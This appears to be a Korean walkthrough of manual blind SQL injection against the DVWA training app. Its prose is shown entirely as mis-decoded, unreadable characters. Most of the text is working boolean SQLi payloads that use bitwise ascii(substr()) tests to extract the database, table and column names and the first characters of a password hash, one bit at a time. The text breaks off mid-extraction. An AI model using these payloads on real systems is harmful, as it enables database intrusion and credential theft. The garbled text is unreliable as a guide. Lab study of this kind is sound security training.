[DVWA] SQL Injection (Blind ์๋ ์ ๊ฒ)
Vulnerability: SQL Injection (Blind)
Blind SQL Injection์ ์ด์ฉํ์ฌ DB ๋ด๋ถ์ ๋ฐ์ดํฐ๋ฅผ ์กฐํํ๋ ๊ฒ์ ๋ชฉ์ ์ผ๋ก ํ๋ค. ํด๋น ์ค์ต ๋ฌธ์ ์ ๊ฒฝ์ฐ ID๋ฅผ ์ ๋ ฅํ์ ๋ ์ ํจํ ID(์กด์ฌํ๋ ID)์ธ์ง ์๋์ง(์ฌ๋ฐ๋ฅด์ง ์์/์กด์ฌํ์ง ์๋ ID)๋ฅผ ํ๋ณํด์ฃผ๋ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ด๋ค.
์ ํจํ ID๋ฅผ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ (์ ๋ ฅํ ๊ฐ์ด ์ฐธ์ธ ๊ฒฝ์ฐ)์๋ "User ID exists in the database." ๋ผ๋ ๊ฒฐ๊ณผ ๊ฐ์ ์ป์ ์ ์๊ณ , ์ ํจํ์ง ์์ ID๋ฅผ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ (์ ๋ ฅํ ๊ฐ์ด ๊ฑฐ์ง์ธ ๊ฒฝ์ฐ)์๋ "User ID is MISSING from the database." ๋ผ๋ ๊ฒฐ๊ณผ ๊ฐ์ ์ป๊ฒ ๋๋ค.
๋ณธ ์ค์ต์์๋ nmap /sqlmap๊ณผ ๊ฐ์ ํ์ง ํ๋ก๊ทธ๋จ(์๋ํ ํด)์ ์ฌ์ฉํ์ง ์๊ณ ์๋ ์ ๊ฒํ๋ ๋ฐฉ๋ฒ๋ง ์๋ํ ๊ฒ์ด๋ค.
(์๋ํ ํด์ ์ด์ฉํ๊ฑฐ๋ python์ ์ด์ฉํ ์๋ํ ๋ฐฉ๋ฒ์ ์ถํ์ ์ ๋ฆฌํด๋ณด๋ ค ํ๋ค.)
Vuln Point
์ฐธ์ธ ๊ฐ (1=1)
1' and 1=1 #
-> User ID exists in the database.
๊ฑฐ์ง์ธ ๊ฐ(1=2)
1' and 1=2 #
-> User ID is MISSING from the database.
and ์ฐ์ฐ์ ์ด์ฉํ์ฌ ์ฐธ์ธ ๊ฐ๊ณผ ๊ฑฐ์ง์ธ ๊ฐ์ ๋ํ ๊ฒฐ๊ณผ ๊ฐ์ด ๋ค๋ฅด๊ฒ ๋์ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ด๊ฒ์ ํตํด SQL Injection ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๊ณ ์์ฌํด๋ณผ ์ ์๋ค.
True/False
์ฐธ(True)์ธ ๊ฐ๊ณผ ๊ฑฐ์ง(False)์ธ ๊ฐ์ ๋ํ ์ฐจ์ด๋ฅผ ํตํด Blind SQL Injection์ ์ด์ฉํ ์ ์๊ฒ ๋๋ค.
๋ณธ ์ค์ต ๋ฌธ์ ์ ๊ฒฝ์ฐ ID ์ ๋ ฅ์ ๋ฐ๋ฅธ ์ ํจํ ID ์ฌ๋ถ๋ฅผ ํ๋จํ๊ณ ์๋ค. DB์ ๋ด์ฉ์ ์ง์ ์ ์ผ๋ก ์ ์ถ(์ถ๋ ฅ)ํ๊ณ ์์ง๋ ์๊ณ , ๋จ์ง ์ณ๋ค(True), ํ๋ฆฌ๋ค(False)๋ผ๋ ๋ฐ์๋ง ๋ด๋ณด๋ธ๋ค๋ ๊ฒ์ด๋ค. ํ์ง๋ง ์ฐธ์ธ ๊ฐ๊ณผ, ๊ฑฐ์ง์ธ ๊ฐ์ ์ฐจ์ด๊ฐ ์กด์ฌํ๋ฏ๋ก์ ์ง์์ ๋ํ ์๋ต ์ฐจ์ด๋ฅผ ํตํด Blind SQLi๋ฅผ ์ค์ํ ์ ์๋ค.
and ์ฐ์ฐ์ ํน์ง์ ์ด์ฉํ์ฌ ์ฐธ and ์ฐธ / ์ฐธ and ๊ฑฐ์ง์ ๊ฐ์ด ๊ฐ๊ฐ ์ฐธ/๊ฑฐ์ง์ธ ๊ฒ์ ์ด์ฉํ๋ค.
ํญ์ ์ฐธ(1=1) / ํญ์ ๊ฑฐ์ง(1=2) ์ธ ๊ฐ์ and ๋ฅผ ์ด์ฉํ์ฌ ๋ฌถ์ด์ฃผ์ด WHERE ๋ฌธ์ด ์ฐธ์ธ ๊ฒฝ์ฐ ์กฐํ์ ์ฑ๊ณตํ๊ณ , WHERE ๋ฌธ์ด ๊ฑฐ์ง์ธ ๊ฒฝ์ฐ ์กฐํ์ ์คํจํ๋๋กํ๋ ๊ฒ์ด๋ค.
True and True = True
SELECT * FROM users WHERE user_id='1' and 1=1 #';
(True)
True and False = False
SELECT * FROM users WHERE user_id='1' and 1=2 #';
(False)
DVWA Blind SQL Injection ์ค์ต
์ค์ต ํ๊ฒฝ
- Windows Docker๋ฅผ ์ด์ฉํ DVWA
- Windows ํ๊ฒฝ์ Burp Suite
Blind SQL Injection์ ๊ฒฝ์ฐ, ํ ์ค์ ์ถ๋ ฅ์ ๋ํ ํ ๊ธ์์ฉ๋ง ํ์ธ์ด ๊ฐ๋ฅํ๋ค. ๊ทธ๋ฌ๋ฏ๋ก LIMIT๋ฅผ ์ด์ฉํด์ผ ํ๋ค.
Security Level: Low
LOW ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์ ๋ ฅ ๊ฐ์ ๋ํ ์ ํ์ด ๋ฑํ ์๋ค. DB์ด๋ฆ / ์ํ๋ ํ ์ด๋ธ / ์ํ๋ ์ปฌ๋ผ / ์ํ๋ ๋ฐ์ดํฐ ๋ฅผ ๊ฐ๊ฐ ํ ๊ฐ์ฉ๋ง ๋ฝ์๋ณผ ๊ฒ์ด๋ค.
Blind SQL Injection์ Process์ ๋ฐ๋ผ ์งํํ๋ค. ์ฐ์ ์ฐธ/๊ฑฐ์ง์ ๋ํ ์๋ต์ ํ์ธํด๋ณธ๋ค.
True / False
์ฐธ(True)์ธ ๊ฐ: 1' and 1=1 #
๊ฑฐ์ง(False)์ธ ๊ฐ: 1' and 1=2 #
๊ณต๊ฒฉ ์ฟผ๋ฆฌ(Query)
์ฐ์ ๊ณต๊ฒฉ ์ฟผ๋ฆฌ๋ฅผ ์์ฑํ๊ณ SQL ๊ตฌ๋ฌธ์ด ๋ค์ด๊ฐ ์๋ฆฌ์ ์ํ๋ SQL ๊ตฌ๋ฌธ์ ์ฝ์ ํ๋๋ก ํ๋ค.
Blind SQLi ์ ๊ฒฝ์ฐ substr ํจ์๋ฅผ ์ด์ฉํ์ฌ ์ํ๋ ๊ธ์ ๋ถ๋ถ์ ์๋ผ๋ด๊ณ , ํด๋น ๊ฐ์ ascii ์ฝ๋๋ก ๋ณํํ์ฌ ์ด์งํ์์ ์งํํ๋ค. ์ฌ๊ธฐ์๋ ๋ถ๋ฑํธ(>,<) ๋ฅผ ์ด์ฉํ์ง ์๊ณ ๋ ผ๋ฆฌ์ฐ์ฐ(์ด์ง์ฝ๋)์ ์ด์ฉํ๋ ค ํ๋ค. 1, 2, 4, 8, 16, 32, 64์ ๊ฐ๊ณผ ๋ ผ๋ฆฌ์ฐ์ฐ์ ์งํํ์ฌ ํด๋น ๊ฐ์ด ์ฐธ์ธ์ง ๊ฑฐ์ง์ธ์ง ํ์ธํ์ฌ ์ฐธ์ธ ๊ฐ์ ํฉ์ด ํด๋นํ๋ ascii์ฝ๋ ๊ฐ์ด ๋๋ค.
ํ ๊ธ์์ ๊ฐ์ ํ์ธํ๊ธฐ ์ํ 'ํ ์ธํธ'
1' and ascii(substr((select __SQL__),1,1))&1=1#
1' and ascii(substr((select __SQL__),1,1))&2=2#
1' and ascii(substr((select __SQL__),1,1))&4=4#
1' and ascii(substr((select __SQL__),1,1))&8=8#
1' and ascii(substr((select __SQL__),1,1))&16=16#
1' and ascii(substr((select __SQL__),1,1))&32=32#
1' and ascii(substr((select __SQL__),1,1))&64=64#
DB ์ด๋ฆ ํ์ธํ๊ธฐ
select database()
DB์ ์ด๋ฆ์ ํ๊ธ์์ฉ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
1' and ascii(substr((select database()),1,1))&1=1# (๊ฑฐ์ง)
1' and ascii(substr((select database()),1,1))&2=2# (๊ฑฐ์ง)
1' and ascii(substr((select database()),1,1))&4=4# (์ฐธ)
1' and ascii(substr((select database()),1,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select database()),1,1))&16=16# (๊ฑฐ์ง)
1' and ascii(substr((select database()),1,1))&32=32# (์ฐธ)
1' and ascii(substr((select database()),1,1))&64=64# (์ฐธ)
4, 32, 64 -> 100 -> d
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 100์ ํด๋นํ๋ฏ๋ก d๊ฐ ๋๋ค.
1' and ascii(substr((select database()),2,1))&1=1# (๊ฑฐ์ง)
1' and ascii(substr((select database()),2,1))&2=2# (์ฐธ)
1' and ascii(substr((select database()),2,1))&4=4# (์ฐธ)
1' and ascii(substr((select database()),2,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select database()),2,1))&16=16# (์ฐธ)
1' and ascii(substr((select database()),2,1))&32=32# (์ฐธ)
1' and ascii(substr((select database()),2,1))&64=64# (์ฐธ)
2, 4, 16, 32, 64 -> 118 -> v
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 118์ ํด๋นํ๋ฏ๋ก v๊ฐ ๋๋ค.
1' and ascii(substr((select database()),3,1))&1=1# (์ฐธ)
1' and ascii(substr((select database()),3,1))&2=2# (์ฐธ)
1' and ascii(substr((select database()),3,1))&4=4# (์ฐธ)
1' and ascii(substr((select database()),3,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select database()),3,1))&16=16# (์ฐธ)
1' and ascii(substr((select database()),3,1))&32=32# (์ฐธ)
1' and ascii(substr((select database()),3,1))&64=64# (์ฐธ)
1, 2, 4, 16, 32, 64 -> 119 -> w
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 119์ ํด๋นํ๋ฏ๋ก w๊ฐ ๋๋ค.
1' and ascii(substr((select database()),4,1))&1=1# (์ฐธ)
1' and ascii(substr((select database()),4,1))&2=2# (๊ฑฐ์ง)
1' and ascii(substr((select database()),4,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select database()),4,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select database()),4,1))&16=16# (๊ฑฐ์ง)
1' and ascii(substr((select database()),4,1))&32=32# (์ฐธ)
1' and ascii(substr((select database()),4,1))&64=64# (์ฐธ)
1, 32, 64 -> 97 -> a
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 97์ ํด๋นํ๋ฏ๋ก a๊ฐ ๋๋ค.
์์ ๊ฐ ๊ธ์๋ฅผ ์กฐํฉํ๋ฉด DB์ด๋ฆ์ dvwa์ธ ๊ฒ์ ์ ์ ์๋ค.
TABLE ์ด๋ฆ ํ์ธํ๊ธฐ
์ํ๋ ํ ์ด๋ธ์ ์์น๋ฅผ ์ด๋ฏธ ์๊ณ ์ ์งํํ๋ค.(2๋ฒ์งธ์ ์กด์ฌํ๋ ํ ์ด๋ธ์ ์กฐํํ ๊ฒ์ด๋ค.)
select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1
ํด๋น Table์ ์ด๋ฆ์ ํ๊ธ์์ฉ ํ์ธํด ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&1=1# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&2=2# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&4=4# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&16=16# (์ฐธ)
' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&32=32# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&64=64# (์ฐธ)
1, 4, 16, 32, 64 -> 117 -> u
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 117์ ํด๋นํ๋ฏ๋ก u๊ฐ ๋๋ค.
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),2,1))&1=1# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),2,1))&2=2# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),2,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),2,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),2,1))&16=16# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),2,1))&32=32# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),2,1))&64=64# (์ฐธ)
1, 2, 16, 32, 64 -> 115 -> s
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 115์ ํด๋นํ๋ฏ๋ก s๊ฐ ๋๋ค.
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),3,1))&1=1# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),3,1))&2=2# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),3,1))&4=4# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),3,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),3,1))&16=16# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),3,1))&32=32# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),3,1))&64=64# (์ฐธ)
1, 4, 32, 64 -> 101 -> e
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 101์ ํด๋นํ๋ฏ๋ก e๊ฐ ๋๋ค.
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),4,1))&1=1# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),4,1))&2=2# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),4,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),4,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),4,1))&16=16# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),4,1))&32=32# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),4,1))&64=64# (๊ฑฐ์ง)
2, 16, 32, 64 -> 114 -> r
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 114์ ํด๋นํ๋ฏ๋ก r์ด ๋๋ค.
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),5,1))&1=1# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),5,1))&2=2# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),5,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),5,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),5,1))&16=16# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),5,1))&32=32# (์ฐธ)
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),5,1))&64=64# (์ฐธ)
1, 2, 16, 32, 64 -> 115 -> s
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 115์ ํด๋นํ๋ฏ๋ก s๊ฐ ๋๋ค.
์์ ๊ฐ ๊ธ์๋ฅผ ์กฐํฉํ๋ฉด ํด๋น Table ์ด๋ฆ์ users์ธ ๊ฒ์ ์ ์ ์๋ค.
COLUMN ์ด๋ฆ ํ์ธํ๊ธฐ
์ํ๋ ์ปฌ๋ผ์ ์์น๋ฅผ ์ด๋ฏธ ์๊ณ ์ ์งํํ๋ค.(users ํ ์ด๋ธ์ 5๋ฒ์งธ์ ์กด์ฌํ๋ ์ปฌ๋ผ์ ์กฐํํ ๊ฒ์ด๋ค.)
select column_name from information_schema.columns where table_name = 'users' limit 4,1
ํด๋น Column์ ์ด๋ฆ์ ํ๊ธ์์ฉ ํ์ธํด ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&1=1# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&2=2# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&16=16# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&32=32# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&64=64# (์ฐธ)
16, 32, 64 -> 112 -> p
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 112์ ํด๋นํ๋ฏ๋ก p๊ฐ ๋๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),2,1))&1=1# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),2,1))&2=2# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),2,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),2,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),2,1))&16=16# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),2,1))&32=32# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),2,1))&64=64# (์ฐธ)
1, 32, 64 -> 97 -> a
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 97์ ํด๋นํ๋ฏ๋ก a๊ฐ ๋๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),3,1))&1=1# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),3,1))&2=2# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),3,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),3,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),3,1))&16=16# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),3,1))&32=32# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),3,1))&64=64# (์ฐธ)
1, 2, 16, 32, 64 -> 115 -> s
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 115์ ํด๋นํ๋ฏ๋ก s๊ฐ ๋๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),4,1))&1=1# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),4,1))&2=2# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),4,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),4,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),4,1))&16=16# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),4,1))&32=32# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),4,1))&64=64# (์ฐธ)
1, 2, 16, 32, 64 -> 115 -> s
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 115์ ํด๋นํ๋ฏ๋ก s๊ฐ ๋๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),5,1))&1=1# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),5,1))&2=2# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),5,1))&4=4# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),5,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),5,1))&16=16# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),5,1))&32=32# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),5,1))&64=64# (์ฐธ)
1, 2, 4, 16 ,32 ,64 -> 119 -> w
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 119์ ํด๋นํ๋ฏ๋ก w๊ฐ ๋๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),6,1))&1=1# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),6,1))&2=2# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),6,1))&4=4# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),6,1))&8=8# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),6,1))&16=16# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),6,1))&32=32# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),6,1))&64=64# (์ฐธ)
1, 2, 4, 8, 32, 64 -> 111 -> o
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 111์ ํด๋นํ๋ฏ๋ก o๊ฐ ๋๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),7,1))&1=1# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),7,1))&2=2# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),7,1))&4=4# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),7,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),7,1))&16=16# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),7,1))&32=32# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),7,1))&64=64# (์ฐธ)
2, 16, 32, 64 -> 114 -> r
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 114์ ํด๋นํ๋ฏ๋ก r์ด ๋๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),8,1))&1=1# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),8,1))&2=2# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),8,1))&4=4# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),8,1))&8=8# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),8,1))&16=16# (๊ฑฐ์ง)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),8,1))&32=32# (์ฐธ)
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),8,1))&64=64# (์ฐธ)
4, 32, 64 -> 100 -> d
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 100์ ํด๋นํ๋ฏ๋ก d๊ฐ ๋๋ค.
์์ ๊ฐ ๊ธ์๋ฅผ ์กฐํฉํ๋ฉด ํด๋น Column ์ด๋ฆ์ password์ธ ๊ฒ์ ์ ์ ์๋ค.
DATA ํ์ธํ๊ธฐ
์ํ๋ ๋ฐ์ดํฐ์ ์์น๋ฅผ ์ด๋ฏธ ์๊ณ ์ ์งํํ๋ค.( users ํ ์ด๋ธ์ user ์ปฌ๋ผ์ admin ๋ฐ์ดํฐ์ ๋งค์น๋๋ password ์ปฌ๋ผ์ ์ฒซ ๋ฒ์งธ ๊ฐ์ ํด๋นํ๋ ๋ฐ์ดํฐ๋ฅผ ์กฐํํ ๊ฒ์ด๋ค.)
๋ค์์ ๋ฐ์ดํฐ๋ SQL Injection์์ ์กฐํํ ๊ฒฐ๊ณผ์ด๋ค. ๋ค์์ ๋ฐ์ดํฐ๋ฅผ Blind SQL Injection์ ์ด์ฉํ์ฌ ์กฐํํ๊ณ ์ผ์นํ๋์ง ์ฌ๋ถ๋ฅผ ํ์ธํด ๋ณผ ๊ฒ์ด๋ค.
select password from users limit 0,1
ํด๋น Data์ ๊ฐ์ ํ๊ธ์์ฉ ํ์ธํด ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค. (Low ๋ ๋ฒจ์ ํํ์ฌ, 32 ์์ ๊ฒฐ๊ณผ ์ ๋ถ๋ฅผ ์ ์ด ๋ณธ๋ค.)
1' and ascii(substr((select password from users limit 0,1),1,1))&1=1#
1' and ascii(substr((select password from users limit 0,1),1,1))&2=2#
1' and ascii(substr((select password from users limit 0,1),1,1))&4=4#
1' and ascii(substr((select password from users limit 0,1),1,1))&8=8#
1' and ascii(substr((select password from users limit 0,1),1,1))&16=16#
1' and ascii(substr((select password from users limit 0,1),1,1))&32=32#
1' and ascii(substr((select password from users limit 0,1),1,1))&64=64#
1, 4, 16, 32 -> 53 -> 5
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 53์ ํด๋นํ๋ฏ๋ก 5๊ฐ ๋๋ค.
1' and ascii(substr((select password from users limit 0,1),2,1))&1=1#
1' and ascii(substr((select password from users limit 0,1),2,1))&2=2#
1' and ascii(substr((select password from users limit 0,1),2,1))&4=4#
1' and ascii(substr((select password from users limit 0,1),2,1))&8=8#
1' and ascii(substr((select password from users limit 0,1),2,1))&16=16#
1' and ascii(substr((select password from users limit 0,1),2,1))&32=32#
1' and ascii(substr((select password from users limit 0,1),2,1))&64=64#
2, 4, 32, 64 -> 102 -> f
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 102์ ํด๋นํ๋ฏ๋ก f๊ฐ ๋๋ค.
1' and ascii(substr((select password from users limit 0,1),3,1))&1=1#
1' and ascii(substr((select password from users limit 0,1),3,1))&2=2#
1' and ascii(substr((select password from users limit 0,1),3,1))&4=4#
1' and ascii(substr((select password from users limit 0,1),3,1))&8=8#
1' and ascii(substr((select password from users limit 0,1),3,1))&16=16#
